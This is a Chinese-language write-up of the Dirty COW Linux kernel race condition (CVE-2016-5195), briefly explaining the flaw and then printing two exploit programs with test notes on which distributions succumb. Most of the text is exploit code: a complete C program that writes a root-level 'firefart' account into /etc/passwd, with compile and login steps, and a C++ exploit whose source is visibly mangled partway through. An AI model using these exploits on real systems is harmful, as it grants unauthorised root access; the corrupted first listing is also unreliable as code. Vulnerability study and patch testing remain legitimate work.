一、脏牛漏洞描述

1漏洞编号:CVE-2016-5195
2漏洞名称:脏牛(Dirty COW)
3漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权
4影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复

二、漏洞利用原理

该漏洞具体为,Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)

竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

三、漏洞测试

github Pocs页面为:https://github.com/gbonacini/CVE-2016-5195

经测试上面提供的exp代码可用,这里使用其中两段测试代码 exp1:

  1
  2#include <iostream>
  3#include <fstream>
  4#include <string>
  5#include <thread>
  6#include <sys>
  7#include <fcntl.h>
  8#include <unistd.h>
  9#include <stdlib.h>
 10#include <sys>
 11#include <pwd.h>
 12#include <pty.h>
 13#include <string.h>
 14#include <termios.h>
 15#include <sys>
 16#include <signal.h>
 17
 18#define  BUFFSIZE    1024
 19#define  DEFSLTIME   300000
 20#define  PWDFILE     "/etc/passwd"
 21#define  BAKFILE     "./.ssh_bak"
 22#define  TMPBAKFILE  "/tmp/.ssh_bak"
 23#define  PSM         "/proc/self/mem"
 24#define  ROOTID      "root:"
 25#define  SSHDID      "sshd:"
 26#define  MAXITER     300
 27#define  DEFPWD      "$6$P7xBAooQEZX/ham$9L7U0KJoihNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9Njt.tIklLtLosiaeCBsZm8hND/"
 28#define  TXTPWD      "dirtyCowFun\n"
 29#define  DISABLEWB   "echo 0 > /proc/sys/vm/dirty_writeback_centisecs\n"
 30#define  EXITCMD     "exit\n"
 31#define  CPCMD       "\\cp "
 32#define  RMCMD       "\\rm "
 33
 34using namespace std;
 35
 36class Dcow{
 37    private:
 38       bool              run,        rawMode,     opShell,   restPwd;
 39       void              *map;
 40       int               fd,         iter,        master,    wstat;
 41       string            buffer,     etcPwd,      etcPwdBak,
 42                         root,       user,        pwd,       sshd;
 43       thread            *writerThr, *madviseThr, *checkerThr;
 44       ifstream          *extPwd;
 45       ofstream          *extPwdBak;
 46       struct passwd     *userId;
 47       pid_t             child;  
 48       char              buffv[BUFFSIZE];
 49       fd_set            rfds;
 50       struct termios    termOld,    termNew;
 51       ssize_t           ign;
 52
 53       void exitOnError(string msg);
 54    public:
 55       Dcow(bool opSh, bool rstPwd);
 56       ~Dcow(void);
 57       int  expl(void);
 58};
 59
 60Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),
 61                   iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),
 62                   madviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),
 63                   child(0){ 
 64   userId = getpwuid(getuid());
 65   user.append(userId->pw_name).append(":");
 66   extPwd = new ifstream(PWDFILE);   
 67   while (getline(*extPwd, buffer)){
 68       buffer.append("\n");
 69       etcPwdBak.append(buffer);
 70       if(buffer.find(root) == 0){
 71          etcPwd.insert(0, root).insert(root.size(), pwd);
 72          etcPwd.insert(etcPwd.begin() + root.size() + pwd.size(), 
 73                        buffer.begin() + buffer.find(":", root.size()), buffer.end());
 74       }else if(buffer.find(user) == 0 ||  buffer.find(sshd) == 0 ){
 75          etcPwd.insert(0, buffer);
 76       }else{
 77          etcPwd.append(buffer);
 78       }
 79   }
 80   extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);
 81   extPwdBak->write(etcPwdBak.c_str(), etcPwdBak.size());
 82   extPwdBak->close();
 83   fd = open(PWDFILE,O_RDONLY);
 84   map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
 85}
 86
 87Dcow::~Dcow(void){
 88   extPwd->close();
 89   close(fd);
 90   delete extPwd; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;
 91   if(rawMode)    tcsetattr(STDIN_FILENO, TCSANOW, &termOld);
 92   if(child != 0) wait(&wstat); 
 93}
 94
 95void Dcow::exitOnError(string msg){
 96      cerr (map), SEEK_SET); 
 97                                              ign = write(fpsm, etcPwd.c_str(), etcPwdBak.size()); }
 98                                });
 99   checkerThr = new thread([&](){ while(iter clear(); extPwd->seekg(0, ios::beg); 
100                                         buffer.assign(istreambuf_iterator<char>(*extPwd),
101                                                       istreambuf_iterator<char>());
102                                         if(buffer.find(pwd) != string::npos && 
103                                            buffer.size() >= etcPwdBak.size()){
104                                                run = false; break;
105                                         }
106                                         iter ++; usleep(DEFSLTIME);
107                                   }
108                                   run = false;
109                                 });
110
111  cerr join();
112  writerThr->join();
113  checkerThr->join();
114
115  if(iter (~(ICANON | ECHO));
116    
117           if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
118                exitOnError("Error setting terminal in non-canonical mode.");
119           rawMode = true;
120    
121           while(true){
122                FD_ZERO(&rfds);
123                FD_SET(master, &rfds);
124                FD_SET(STDIN_FILENO, &rfds);
125    
126                if(select(master + 1, &rfds, nullptr, nullptr, nullptr) </char></char></signal.h></sys></termios.h></string.h></pty.h></pwd.h></sys></stdlib.h></unistd.h></fcntl.h></sys></thread></string></fstream></iostream>

测试结果如下:

dcow
dcow

exp2:

  1// This exploit uses the pokemon exploit of the dirtycow vulnerability
  2// as a base and automatically generates a new passwd line.
  3// The user will be prompted for the new password when the binary is run.
  4// The original /etc/passwd file is then backed up to /tmp/passwd.bak
  5// and overwrites the root account with the generated line.
  6// After running the exploit you should be able to login with the newly
  7// created user.
  8//
  9// To use this exploit modify the user values according to your needs.
 10//   The default is "firefart".
 11//
 12// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
 13//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
 14//
 15// Compile with:
 16//   gcc -pthread dirty.c -o dirty -lcrypt
 17//
 18// Then run the newly create binary by either doing:
 19//   "./dirty" or "./dirty my-new-password"
 20//
 21// Afterwards, you can either "su firefart" or "ssh firefart@..."
 22//
 23// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
 24//   mv /tmp/passwd.bak /etc/passwd
 25//
 26// Exploit adopted by Christian "FireFart" Mehlmauer
 27// https://firefart.at
 28//
 29#include <fcntl.h>
 30#include <pthread.h>
 31#include <string.h>
 32#include <stdio.h>
 33#include <stdint.h>
 34#include <sys/mman.h>
 35#include <sys/types.h>
 36#include <sys/stat.h>
 37#include <sys/wait.h>
 38#include <sys/ptrace.h>
 39#include <stdlib.h>
 40#include <unistd.h>
 41#include <crypt.h>
 42const char *filename = "/etc/passwd";
 43const char *backup_filename = "/tmp/passwd.bak";
 44const char *salt = "firefart";
 45int f;
 46void *map;
 47pid_t pid;
 48pthread_t pth;
 49struct stat st;
 50struct Userinfo {
 51   char *username;
 52   char *hash;
 53   int user_id;
 54   int group_id;
 55   char *info;
 56   char *home_dir;
 57   char *shell;
 58};
 59char *generate_password_hash(char *plaintext_pw) {
 60  return crypt(plaintext_pw, salt);
 61}
 62char *generate_passwd_line(struct Userinfo u) {
 63  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
 64  int size = snprintf(NULL, 0, format, u.username, u.hash,
 65    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
 66  char *ret = malloc(size + 1);
 67  sprintf(ret, format, u.username, u.hash, u.user_id,
 68    u.group_id, u.info, u.home_dir, u.shell);
 69  return ret;
 70}
 71void *madviseThread(void *arg) {
 72  int i, c = 0;
 73  for(i = 0; i < 200000000; i++) {
 74    c += madvise(map, 100, MADV_DONTNEED);
 75  }
 76  printf("madvise %d\n\n", c);
 77}
 78int copy_file(const char *from, const char *to) {
 79  // check if target file already exists
 80  if(access(to, F_OK) != -1) {
 81    printf("File %s already exists! Please delete it and run again\n",
 82      to);
 83    return -1;
 84  }
 85  char ch;
 86  FILE *source, *target;
 87  source = fopen(from, "r");
 88  if(source == NULL) {
 89    return -1;
 90  }
 91  target = fopen(to, "w");
 92  if(target == NULL) {
 93     fclose(source);
 94     return -1;
 95  }
 96  while((ch = fgetc(source)) != EOF) {
 97     fputc(ch, target);
 98   }
 99  printf("%s successfully backed up to %s\n",
100    from, to);
101  fclose(source);
102  fclose(target);
103  return 0;
104}
105int main(int argc, char *argv[])
106{
107  // backup file
108  int ret = copy_file(filename, backup_filename);
109  if (ret != 0) {
110    exit(ret);
111  }
112  struct Userinfo user;
113  // set values, change as needed
114  user.username = "firefart";
115  user.user_id = 0;
116  user.group_id = 0;
117  user.info = "pwned";
118  user.home_dir = "/root";
119  user.shell = "/bin/bash";
120  char *plaintext_pw;
121  if (argc >= 2) {
122    plaintext_pw = argv[1];
123    printf("Please enter the new password: %s\n", plaintext_pw);
124  } else {
125    plaintext_pw = getpass("Please enter the new password: ");
126  }
127  user.hash = generate_password_hash(plaintext_pw);
128  char *complete_passwd_line = generate_passwd_line(user);
129  printf("Complete line:\n%s\n", complete_passwd_line);
130  f = open(filename, O_RDONLY);
131  fstat(f, &st);
132  map = mmap(NULL,
133             st.st_size + sizeof(long),
134             PROT_READ,
135             MAP_PRIVATE,
136             f,
137             0);
138  printf("mmap: %lx\n",(unsigned long)map);
139  pid = fork();
140  if(pid) {
141    waitpid(pid, NULL, 0);
142    int u, i, o, c = 0;
143    int l=strlen(complete_passwd_line);
144    for(i = 0; i < 10000/l; i++) {
145      for(o = 0; o < l; o++) {
146        for(u = 0; u < 10000; u++) {
147          c += ptrace(PTRACE_POKETEXT,
148                      pid,
149                      map + o,
150                      *((long*)(complete_passwd_line + o)));
151        }
152      }
153    }
154    printf("ptrace %d\n",c);
155  }
156  else {
157    pthread_create(&pth,
158                   NULL,
159                   madviseThread,
160                   NULL);
161    ptrace(PTRACE_TRACEME);
162    kill(getpid(), SIGSTOP);
163    pthread_join(pth,NULL);
164  }
165  printf("Done! Check %s to see if the new user was created.\n", filename);
166  printf("You can log in with the username '%s' and the password '%s'.\n\n",
167    user.username, plaintext_pw);
168    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
169    backup_filename, filename);
170  return 0;
171}

由于gcc版本的原因,exp1在很多版本上编译会出错,所以这里有使用了exp2进行测试,具体结果如下:

dirty-cow
dirty-cow

参考页面:

更详细的关于漏洞原理的部分可以参考如下页面:

https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195

根据测试结果centos7.2以下的版本基本都可以测试成功,SUSE11全部版本都可以成功。